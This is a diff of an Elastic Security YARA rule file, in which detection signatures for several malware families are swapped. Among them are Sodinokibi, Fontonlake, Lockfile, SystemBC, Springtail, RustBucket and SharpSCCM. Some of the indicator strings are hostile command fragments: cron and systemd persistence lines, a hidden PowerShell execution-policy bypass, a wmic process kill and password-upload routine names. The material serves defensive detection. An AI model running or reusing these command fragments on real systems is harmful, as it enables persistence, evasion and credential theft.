-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Virus_Maxofferdeal.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b00a61c908cd06dbc26bee059ba290e7ce2ad6b66c453ea272c7287ffa29c5ab"
-		logic_hash = "bb90b7e1637fd86e91763b4801a0b3bb8a1b956f328d07e96cf1b26e42b1931b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Sodinokibi.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a322b230a3451fd11dcfe72af4da1df07183d6aaf1ab9e062f0e6b14cf6d23cd"
+		logic_hash = "97d6b1b641c4b5b596b67a809e8e70bb0bccb9219282cd6c41bc905e2ea44c84"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1629b34b424816040066122592e56e317b204f3d5de2f5e7f68114c7a48d99cb"
+		fingerprint = "d6570a8e9358cef95388a72b2e7f747ee5092620c4f92a4b4e6c1bb277e1cb36"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { F2 E7 E7 BF BF BF E6 AF A7 A7 AF A4 AD E6 AB A7 A5 C8 A0 BC BC B8 F2 E7 E7 BF }
+		$a = { 85 08 FF FF FF 48 01 85 28 FF FF FF 48 8B 85 08 FF FF FF 48 29 85 20 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Springtail_35D5B90B : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Minertr_9901E275 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Springtail (Linux.Trojan.Springtail)"
+		description = "Detects Linux Cryptominer Minertr (Linux.Cryptominer.Minertr)"
 		author = "Elastic Security"
-		id = "35d5b90b-f81d-4a10-828b-8315f8e87ca7"
-		date = "2024-05-18"
-		modified = "2024-06-12"
+		id = "9901e275-3053-47ea-8c36-6c9271923b64"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Springtail.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "30584f13c0a9d0c86562c803de350432d5a0607a06b24481ad4d92cdf7288213"
-		logic_hash = "7158e60aedfde884d9ee01457abfe6d9b6b1df9cdc1c415231d98429866eaa6c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Minertr.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f77246a93782fd8ee40f12659f41fccc5012a429a8600f332c67a7c2669e4e8f"
+		logic_hash = "a18e0763fe9aec6d89b39cefb872b1751727e2d88ec4733b9c8b443b83219763"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ca2d3ea7b23c0fc21afb9cfd2d6561727780bda65d2db1a5780b627ac7b07e66"
+		fingerprint = "f27e404d545f3876963fd6174c4235a4fe4f69d53fe30a2d29df9dad6d97b7f7"
 		severity = 100
-		arch_context = "x86, arm64"
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$systemd1 = "Description=syslogd"
-		$systemd2 = "ExecStart=/bin/sh -c \"/var/log/syslogd\""
-		$cron1 = "cron.txt@reboot"
-		$cron2 = "/bin/shcrontab"
-		$cron3 = "type/var/log/syslogdcrontab cron.txt"
-		$uri = "/mir/index.php"
+		$a = { 41 56 41 55 41 54 55 53 48 83 EC 78 48 89 3C 24 89 F3 89 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Systembc_5E883723 : FILE MEMORY
+rule ELASTIC_Linux_Backdoor_Fontonlake_Fe916A45 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Systembc (Windows.Trojan.SystemBC)"
+		description = "Detects Linux Backdoor Fontonlake (Linux.Backdoor.Fontonlake)"
 		author = "Elastic Security"
-		id = "5e883723-7eaa-4992-91de-abb0ffbba54e"
-		date = "2022-03-22"
-		modified = "2022-04-12"
+		id = "fe916a45-75cc-40e4-94ad-6ac0f5d815b9"
+		date = "2021-10-12"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SystemBC.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b432805eb6b2b58dd957481aa8a973be58915c26c04630ce395753c6a5196b14"
-		logic_hash = "fde2e0b5debd4d26838fb245fdf8e5103ab5aab9feff900cbba00c1950adc61a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Backdoor_Fontonlake.yar#L1-L29"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8a0a9740cf928b3bd1157a9044c6aced0dfeef3aa25e9ff9c93e113cbc1117ee"
+		logic_hash = "590b28264345ea0bdbd53791f422cb4f1fad143df2b790824fc182356a568d7d"
 		score = 75
-		quality = 50
+		quality = 48
 		tags = "FILE, MEMORY"
-		fingerprint = "add95c1f4bb279c8b189c3d64a0c2602c73363ebfad56a4077119af148dd2d87"
+		fingerprint = "85f16dd4a127737501863ccba006a444d899c6edc6ab03af5dddef2d39edc483"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "GET /tor/rendezvous2/%s HTTP/1.0" ascii fullword
-		$a2 = "https://api.ipify.org/" ascii fullword
-		$a3 = "KEY-----" ascii fullword
-		$a4 = "Host: %s" ascii fullword
-		$a5 = "BEGINDATA" ascii fullword
-		$a6 = "-WindowStyle Hidden -ep bypass -file \"" ascii fullword
+		$a1 = ".cmd.Upload_Passwd.PasswordInfo" fullword
+		$a2 = "Upload_Passwd" fullword
+		$a3 = "upload_file_beg" fullword
+		$a4 = "upload_file_ing" fullword
+		$a5 = "upload_file_end" fullword
+		$a6 = "modify_file_attr" fullword
+		$a7 = "modify_file_time" fullword
+		$a8 = "import platform;print(platform.linux_distribution()[0]);print(platform.linux_distribution()[1]);print(platform.release())" fullword
+		$a9 = "inject.so" fullword
+		$a10 = "rm -f /tmp/%s" fullword
+		$a11 = "/proc/.dot3" fullword
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Trojan_Systembc_C1B58C2F : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Lockfile_74185716 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Systembc (Windows.Trojan.SystemBC)"
+		description = "Detects Windows Ransomware Lockfile (Windows.Ransomware.Lockfile)"
 		author = "Elastic Security"
-		id = "c1b58c2f-8bbf-4c03-9f53-13ab2fb081cc"
-		date = "2024-05-02"
-		modified = "2024-05-08"
+		id = "74185716-e79d-4d63-b6ae-9480f24dcd4f"
+		date = "2021-08-31"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SystemBC.yar#L26-L49"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "016fc1db90d9d18fe25ed380606346ef12b886e1db0d80fe58c22da23f6d677d"
-		logic_hash = "16ed14dac0c30500c5e91759b0a1b321f3bd53ae6aab1389a685582eba72c222"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Lockfile.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce"
+		logic_hash = "e922c2fc9dd52dd0238847a9d48691bea90d028cf680fc3a1a0dbdfef1d8dce3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dfbf98554e7fb8660e4eebd6ad2fadc394fc2a4168050390370ec358f6af1c1d"
+		fingerprint = "849a0fb5a2e08b2d32db839a7fdbde03a184a48726678e65e7f8452b354a3ca8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78087,15 +82229,13 @@ rule ELASTIC_Windows_Trojan_Systembc_C1B58C2F : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "GET %s HTTP/1.0" ascii fullword
-		$a2 = "HOST1:"
-		$a3 = "PORT1:"
-		$a4 = "-WindowStyle Hidden -ep bypass -file \"" ascii fullword
-		$a5 = "BEGINDATA" ascii fullword
-		$a6 = "socks32.dll" ascii fullword
+		$a1 = "LOCKFILE-README"
+		$a2 = "wmic process where \"name  like '%virtualbox%'\" call terminate"
+		$a3 = "</computername>"
+		$a4 = ".lockfile"
 
 	condition:
-		5 of them
+		all of them
 }
 rule ELASTIC_Linux_Trojan_Ganiw_99349371 : FILE MEMORY
 {
@@ -78106,8 +82246,8 @@ rule ELASTIC_Linux_Trojan_Ganiw_99349371 : FILE MEMORY
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ganiw.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ganiw.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
 		hash = "e8dbb246fdd1a50226a36c407ac90eb44b0cf5e92bf0b92c89218f474f9c2afb"
 		logic_hash = "26160e855c63fc0b73e415de2fe058f2005df1ec5544d21865d022c5474df30c"
 		score = 75
@@ -78135,8 +82275,8 @@ rule ELASTIC_Linux_Trojan_Ganiw_B9F045Aa : FILE MEMORY
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ganiw.yar#L21-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ganiw.yar#L21-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
 		logic_hash = "2565101b261bee22ddecf6898ff0ac8a114d09c822d8db26ba3e3571ebe06b12"
 		score = 75
 		quality = 75
@@ -78154,52 +82294,23 @@ rule ELASTIC_Linux_Trojan_Ganiw_B9F045Aa : FILE MEMORY
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Processhacker_3D01069E : FILE
-{
-	meta:
-		description = "Detects Windows Hacktool Processhacker (Windows.Hacktool.ProcessHacker)"
-		author = "Elastic Security"
-		id = "3d01069e-7afb-4da0-b7ac-23f90db26495"
-		date = "2022-03-30"
-		modified = "2022-03-30"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_ProcessHacker.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4"
-		logic_hash = "bcba74aa20b62329c48060bfebaf49ab12f89f9ec3a09fc0c0cb702de5e2b940"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "5d6a0835ac6c0548292ff11741428d7b2f4421ead6d9e2ca35379cbceb6ee68c"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
-
-	strings:
-		$original_file_name = "OriginalFilename\x00kprocesshacker.sys" wide fullword
-
-	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
-}
-rule ELASTIC_Linux_Trojan_Xhide_7F0A131B : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2009_2908_406C2Fef : FILE MEMORY CVE_2009_2908
 {
 	meta:
-		description = "Detects Linux Trojan Xhide (Linux.Trojan.Xhide)"
+		description = "Detects Linux Exploit Cve 2009 2908 (Linux.Exploit.CVE-2009-2908)"
 		author = "Elastic Security"
-		id = "7f0a131b-c305-4a08-91cc-ac2de4d95b19"
+		id = "406c2fef-0f1a-441a-96b9-e4168c283c90"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xhide.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0dc35f1a1fe1c59e454cd5645f3a6220b7d85661437253a3e627eed04eca2560"
-		logic_hash = "4843042576d1f4f37b5a7cda1b261831030d9145c49b57e9b4c66e2658cc8cf9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2009_2908.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1e05a23f5b3b9cfde183aec26b723147e1816b95dc0fb7f9ac57376efcb22fcd"
+		logic_hash = "ae379ca7564eb97f141f6ad71ca12973bf1a38cda4bc03e3f4dca1939a9b6b38"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "767f2ea258cccc9f9b6673219d83e74da1d59f6847161791c9be04845f17d8cb"
+		tags = "FILE, MEMORY, CVE-2009-2908"
+		fingerprint = "94a94217823a8d682ba27889ba2b53fef7b18ae14d75a73456f21184e51581cf"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78207,86 +82318,99 @@ rule ELASTIC_Linux_Trojan_Xhide_7F0A131B : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 8B 85 68 FF FF FF 83 E0 40 85 C0 75 1A 8B 85 68 FF FF FF 83 }
+		$a = { 74 00 66 70 72 69 6E 74 66 00 66 77 72 69 74 65 00 64 65 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xhide_Cd8489F7 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Rustbucket_E64F7A92 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xhide (Linux.Trojan.Xhide)"
+		description = "Detects Macos Trojan Rustbucket (MacOS.Trojan.RustBucket)"
 		author = "Elastic Security"
-		id = "cd8489f7-795f-4fd5-b9a6-03ddd0f3bad4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xhide.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0dc35f1a1fe1c59e454cd5645f3a6220b7d85661437253a3e627eed04eca2560"
-		logic_hash = "34924260c811f1796ae37faec922bc21bb312ebb0672042d3ec27855f63ed61e"
+		id = "e64f7a92-e530-4d0b-8ecb-fe5756ad648c"
+		date = "2023-06-26"
+		modified = "2023-06-29"
+		reference = "https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_RustBucket.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747"
+		logic_hash = "bd6005d72faba6aaeebdcbd8c771995cbfc667faf01eb93825afe985954a47fc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "30b2e0a8ad2fdaa040d748d8660477ae93a6ebc89a186029ff20392f6c968578"
+		fingerprint = "f9907f46c345a874b683809f155691723e3a6df7c48f6f4e6eb627fb3dd7904d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 6F 74 2E 63 6F 6E 66 0A 0A 00 46 75 6C 6C 20 70 61 74 68 20 }
+		$user_agent = "User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
+		$install_log = "/var/log/install.log"
+		$timestamp = "%Y-%m-%d %H:%M:%S"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xhide_840B27C7 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpsccm_9Bef8Dab : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xhide (Linux.Trojan.Xhide)"
+		description = "Detects Windows Hacktool Sharpsccm (Windows.Hacktool.SharpSCCM)"
 		author = "Elastic Security"
-		id = "840b27c7-191f-4d31-9b46-f22be634b2af"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9bef8dab-af2e-46be-811a-0ac78d74a4ef"
+		date = "2024-03-25"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xhide.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0dc35f1a1fe1c59e454cd5645f3a6220b7d85661437253a3e627eed04eca2560"
-		logic_hash = "6b0bfe69558399af6e0469a31741dcf2eb91fbe3e130267139240d3458eb8a0d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpSCCM.yar#L1-L31"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2e169c4fd16627029445bb0365a2f9ee61ab6b3757b8ad02fd210ce85dc9c97f"
+		logic_hash = "560c780934a63b3c857a09841c09cbc350205868c696fac958e249e1379cc865"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f1281db9a49986e23ef1fd9a97785d3bd7c9b3b855cf7e51744487242dd395a3"
+		fingerprint = "dfbb7f142628eb7dc6c96dd271562d88a0970534af85464c10232ec01f58e35b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8B 45 98 83 E0 40 85 C0 75 16 8B 45 98 83 E0 08 85 C0 75 0C 8B }
+		$name = "SharpSCCM" wide fullword
+		$s1 = "--relay-server" wide fullword
+		$s2 = "--username" wide fullword
+		$s3 = "--domain" wide fullword
+		$s4 = "--sms-provider" wide fullword
+		$s5 = "--wmi-namespace" wide fullword
+		$s6 = "--management-point" wide fullword
+		$s7 = "--get-system" wide fullword
+		$s8 = "--run-as-user" wide fullword
+		$s9 = "--register-client" wide fullword
+		$s10 = "MS_Collection" wide fullword
+		$s11 = "SOFTWARE\\Microsoft\\CCM" wide fullword
+		$s12 = "CCM_POST" wide fullword
 
 	condition:
-		all of them
+		($name and 2 of ($s*)) or 7 of ($s*)
 }
-rule ELASTIC_Windows_Hacktool_Sharpersist_06606812 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Askcreds_34E3E3D4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpersist (Windows.Hacktool.Sharpersist)"
+		description = "Detects Windows Hacktool Askcreds (Windows.Hacktool.AskCreds)"
 		author = "Elastic Security"
-		id = "06606812-2be2-4155-a82b-6ab4629c5b5a"
-		date = "2022-10-20"
-		modified = "2022-11-24"
+		id = "34e3e3d4-7516-4e0e-b3e7-5bc84404bd08"
+		date = "2023-05-16"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharPersist.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e9711f47cf9171f79bf34b342279f6fd9275c8ae65f3eb2c6ebb0b8432ea14f8"
-		logic_hash = "ddabfb54422f6fb2ad6999b724b1d8f186adf71f96f01a8770715029529e869a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_AskCreds.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d911566ca546a8546928cd0ffa838fd344b35f75a4a7e80789d20e52c7cd38d0"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "44fd3f1146d81c34051f8ef4619db369d364e809799e7ca57bea93fb8fef5d4c"
+		fingerprint = "e00dd2496045d1b71119b35c30c4c010c0ad57f67691649c0f4d206f837bd05d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78294,32 +82418,30 @@ rule ELASTIC_Windows_Hacktool_Sharpersist_06606812 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$guid = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii wide nocase
-		$print_str0 = "schtaskbackdoor: backdoor scheduled task" ascii wide
-		$print_str1 = "schtaskbackdoor -m list -n <schtask name>" ascii wide
-		$print_str2 = "SharPersist" ascii wide
-		$print_str3 = "[+] SUCCESS: Keepass persistence backdoor added" ascii wide
+		$a1 = "Failed to create AskCreds thread."
+		$a2 = "CredUIPromptForWindowsCredentialsW failed"
+		$a3 = "[+] Password: %ls"
 
 	condition:
-		$guid or all of ($print_str*)
+		2 of them
 }
-rule ELASTIC_Linux_Cryptominer_Loudminer_581F57A9 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_402Be6C5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Loudminer (Linux.Cryptominer.Loudminer)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "581f57a9-36e0-4b95-9a1e-837bdd4aceab"
+		id = "402be6c5-a1d8-4d7a-88ba-b852e0db1098"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Loudminer.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c2729395805fc9d3c1e654c9a065bbafc4f28d8ab235afaae8d2c484060596b"
-		logic_hash = "82db0985f215da1d84e16fce94df7553b43b06082bf5475515dbbcf016c40fe4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d30a8f5971763831f92d9a6dd4720f52a1638054672a74fdb59357ae1c9e6deb"
+		logic_hash = "b32111972bc21822f0f2c8e47198c90b70e78667410175257b9542c212fc3a1d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1013e6e11ea2a30ecf9226ea2618a59fb08588cdc893053430e969fbdf6eb675"
+		fingerprint = "1e906f5a06f688084edf537ead0b7e887bd9e0fcc39990c976ea8c136dc52624"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78327,28 +82449,28 @@ rule ELASTIC_Linux_Cryptominer_Loudminer_581F57A9 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 44 24 08 48 8B 70 20 48 8B 3B 48 83 C3 08 48 89 EA 48 8B 07 FF }
+		$a = { C0 52 4C 95 42 11 01 64 E9 D7 39 E4 89 34 FA 48 01 02 C1 3B 39 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Loudminer_F2298A50 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_5420D3E7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Loudminer (Linux.Cryptominer.Loudminer)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "f2298a50-7bd4-43d8-ac84-b36489405f2e"
+		id = "5420d3e7-012f-4ce0-bb13-9e5221efa73e"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Loudminer.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c2729395805fc9d3c1e654c9a065bbafc4f28d8ab235afaae8d2c484060596b"
-		logic_hash = "6c2c9b6aea1fb35f8f600dd084ed9cfd56123f7502036e76dd168ccd8b43b28f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "103b8fced0aebd73cb8ba9eff1a55e6b6fa13bb0a099c9234521f298ee8d2f9f"
+		logic_hash = "8ba3566ec900e37f05f11d40c65ffe1dfc587c553fa9c28b71ced7a9a90f50c3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8eafc1c995c0efb81d9ce6bcc107b102551371f3fb8efdf8261ce32631947e03"
+		fingerprint = "e81615b5756c2789b9be8fb10420461d5260914e16ba320cbab552d654bbbd8a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78356,28 +82478,28 @@ rule ELASTIC_Linux_Cryptominer_Loudminer_F2298A50 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { B6 04 07 41 8D 40 D0 3C 09 76 AD 41 8D 40 9F 3C 05 76 A1 41 8D }
+		$a = { 63 00 5F 5A 4E 34 41 52 43 34 37 65 6E 63 72 79 70 74 45 50 63 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Loudminer_851Fc7Aa : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_4F4Cc3Ea : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Loudminer (Linux.Cryptominer.Loudminer)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "851fc7aa-6514-4f47-b6b5-a1e730b5d460"
+		id = "4f4cc3ea-a906-4fce-a482-d762ab8995b8"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Loudminer.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
